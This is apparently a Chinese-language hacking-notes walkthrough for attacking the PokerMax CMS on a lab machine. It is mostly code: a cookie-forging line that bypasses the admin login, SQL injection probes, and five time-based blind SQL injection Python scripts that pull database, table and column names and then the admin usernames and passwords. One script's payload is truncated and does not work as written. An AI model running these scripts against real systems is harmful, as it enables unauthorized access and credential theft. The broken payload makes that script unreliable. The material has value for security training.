> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/pokermax-cms-exploitation.md).

# PokerMax

**使用 Searchsploit 进行漏洞搜索**

在识别出 `pokermax` 网页后，使用 Searchsploit 查找潜在漏洞。

<figure><img src="/files/ae1211dd0caf989247709f35959ffbdfa5563c9d" alt=""><figcaption></figcaption></figure>

**管理员认证面板识别：**

发现了一个管理员认证面板。控制台中的一段 JavaScript 代码将 `ValidUserAdmin` 更改为 `administrator`，从而允许访问 `configure.php` 在 pokeradmin 中。

<figure><img src="/files/a2eca12896522e1da339b2ea46a7f11c8b20aa70" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/f2206706966c38626ae27e196bc3ea0bc15c9668" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/011ad58c55c55c696fe54fcb14f10756f2a7e0ff" alt=""><figcaption></figcaption></figure>

## SQL 注入漏洞

**SQL 注入漏洞检测：**

<figure><img src="/files/b54ca234623d47a787a0d5707c7b791177c5465f" alt=""><figcaption></figcaption></figure>

#### 在 Web 应用程序中识别一个 SQL 注入漏洞。使用 [BurpSuite](/zh/hacking-tools/web/burpsuite.md) 拦截流量。

<figure><img src="/files/e1d4b0f4594d4c678dc1341a1044b64c111526a1" alt=""><figcaption></figcaption></figure>

#### 使用 ORDER BY 发现列数

```sql
admin' order by 7-- -
```

#### 使用 UNION SELECT 尝试枚举表

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### 基于时间的 SQL 注入使用

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/4e6f55c1989c95bbb34cab19155156eaad596ff0" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取数据库名称

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/2815c06b84a34f85bfe1cec96d3ca4f965dee303" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取所有数据库名称

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/0d0d0ddbe6309f7237649b05bf95120855b6d301" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取表名

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/53f94b9ca138c3887bdc288b8ede6e27fbf85d1c" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取列名

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/43270a6e41000cbd4b917b995b14dc19fac8b46b" alt=""><figcaption></figcaption></figure>

#### 使用 Python 自动提取用户名和密码列内容

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQL注入：")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("提取数据：")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/3b9740af37da424012936d41a8d0beb84b53a1fc" alt=""><figcaption></figcaption></figure>


---

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Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

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